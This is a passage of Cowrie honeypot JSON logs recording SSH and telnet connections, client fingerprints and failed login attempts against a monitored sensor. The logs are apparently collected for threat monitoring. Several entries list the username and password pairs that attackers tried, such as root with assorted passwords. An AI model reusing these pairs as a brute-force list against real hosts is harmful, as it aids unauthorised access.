h-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:12.170830Z","src_ip":"210.90.155.178","session":"51ea3f465e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dayat","password":"dayat","message":"login attempt [dayat/dayat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:12.989827Z","src_ip":"210.90.155.178","session":"51ea3f465e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:14.188097Z","src_ip":"210.90.155.178","session":"51ea3f465e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":6354,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eb88d2766c4","protocol":"ssh","message":"New connection: 180.247.63.92:6354 (10.17.0.5:22) [session: 7eb88d2766c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:20.704703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:20.709090Z","src_ip":"180.247.63.92","session":"7eb88d2766c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:20.969973Z","src_ip":"180.247.63.92","session":"7eb88d2766c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dayat","password":"dayat","message":"login attempt [dayat/dayat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:22.035873Z","src_ip":"180.247.63.92","session":"7eb88d2766c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":49804,"dst_ip":"159.203.135.109","dst_port":22,"session":"af2b72a5a008","protocol":"ssh","message":"New connection: 94.138.209.214:49804 (159.203.135.109:22) [session: af2b72a5a008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:22.727839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:22.731599Z","src_ip":"94.138.209.214","session":"af2b72a5a008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:22.860089Z","src_ip":"94.138.209.214","session":"af2b72a5a008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:23.296513Z","src_ip":"180.247.63.92","session":"7eb88d2766c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password!","message":"login attempt [user/password!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:23.397583Z","src_ip":"94.138.209.214","session":"af2b72a5a008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:24.526963Z","src_ip":"94.138.209.214","session":"af2b72a5a008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.385738134384155,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:50.688674Z","src_ip":"143.198.154.150","session":"e11e3b8f7426","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":51082,"dst_ip":"159.203.135.109","dst_port":22,"session":"c49295543d91","protocol":"ssh","message":"New connection: 192.163.244.125:51082 (159.203.135.109:22) [session: c49295543d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:02.927678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:02.931646Z","src_ip":"192.163.244.125","session":"c49295543d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:03.008880Z","src_ip":"192.163.244.125","session":"c49295543d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ag1x$M@st3r!W0rd","message":"login attempt [root/Ag1x$M@st3r!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:03.243687Z","src_ip":"192.163.244.125","session":"c49295543d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:13.003509Z","src_ip":"192.163.244.125","session":"c49295543d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":40700,"dst_ip":"10.17.0.5","dst_port":23,"session":"486ff1aeae91","protocol":"telnet","message":"New connection: 107.150.146.69:40700 (10.17.0.5:23) [session: 486ff1aeae91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:41.828800Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41642,"dst_ip":"159.203.135.109","dst_port":23,"session":"1051c21815e2","protocol":"telnet","message":"New connection: 170.64.224.25:41642 (159.203.135.109:23) [session: 1051c21815e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:42.157052Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36168,"dst_ip":"159.203.135.109","dst_port":22,"session":"3179d75b6ba6","protocol":"ssh","message":"New connection: 103.176.20.57:36168 (159.203.135.109:22) [session: 3179d75b6ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:50.281787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:50.286289Z","src_ip":"103.176.20.57","session":"3179d75b6ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:50.532048Z","src_ip":"103.176.20.57","session":"3179d75b6ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010684","message":"login attempt [root/010684] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:51.287357Z","src_ip":"103.176.20.57","session":"3179d75b6ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:52.537904Z","src_ip":"103.176.20.57","session":"3179d75b6ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":52133,"dst_ip":"159.203.135.109","dst_port":22,"session":"9519ba6dbad2","protocol":"ssh","message":"New connection: 203.121.40.210:52133 (159.203.135.109:22) [session: 9519ba6dbad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:52.993052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:52.998281Z","src_ip":"203.121.40.210","session":"9519ba6dbad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:53.347040Z","src_ip":"203.121.40.210","session":"9519ba6dbad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit@123","message":"login attempt [amit/amit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:54.765774Z","src_ip":"203.121.40.210","session":"9519ba6dbad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39408,"dst_ip":"10.17.0.5","dst_port":22,"session":"897263afbeed","protocol":"ssh","message":"New connection: 103.149.28.157:39408 (10.17.0.5:22) [session: 897263afbeed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:55.222000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:55.226438Z","src_ip":"103.149.28.157","session":"897263afbeed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:55.478077Z","src_ip":"103.149.28.157","session":"897263afbeed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:56.021261Z","src_ip":"203.121.40.210","session":"9519ba6dbad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198822","message":"login attempt [root/198822] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:56.236789Z","src_ip":"103.149.28.157","session":"897263afbeed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:57.490993Z","src_ip":"103.149.28.157","session":"897263afbeed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42280,"dst_ip":"159.203.135.109","dst_port":23,"session":"9503e80cdb55","protocol":"telnet","message":"New connection: 170.64.224.25:42280 (159.203.135.109:23) [session: 9503e80cdb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:34:59.939114Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55672,"dst_ip":"159.203.135.109","dst_port":23,"session":"217cbbaa30e9","protocol":"telnet","message":"New connection: 107.6.151.170:55672 (159.203.135.109:23) [session: 217cbbaa30e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:16.724437Z"}
{"eventid":"cowrie.session.closed","duration":37.4812536239624,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:19.309928Z","src_ip":"107.150.146.69","session":"486ff1aeae91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.04719591140747,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:20.204104Z","src_ip":"170.64.224.25","session":"1051c21815e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.09795093536377,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:24.036933Z","src_ip":"170.64.224.25","session":"9503e80cdb55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":43884,"dst_ip":"159.203.135.109","dst_port":22,"session":"08a13eb8baa1","protocol":"ssh","message":"New connection: 94.138.209.214:43884 (159.203.135.109:22) [session: 08a13eb8baa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:25.099033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:25.103717Z","src_ip":"94.138.209.214","session":"08a13eb8baa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:25.240023Z","src_ip":"94.138.209.214","session":"08a13eb8baa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lalaland","message":"login attempt [root/lalaland] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:25.819807Z","src_ip":"94.138.209.214","session":"08a13eb8baa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:26.959785Z","src_ip":"94.138.209.214","session":"08a13eb8baa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":2128,"dst_ip":"10.17.0.5","dst_port":22,"session":"845f57bc92cb","protocol":"ssh","message":"New connection: 180.247.63.92:2128 (10.17.0.5:22) [session: 845f57bc92cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:29.801841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:29.805948Z","src_ip":"180.247.63.92","session":"845f57bc92cb","protocol":"ssh"}
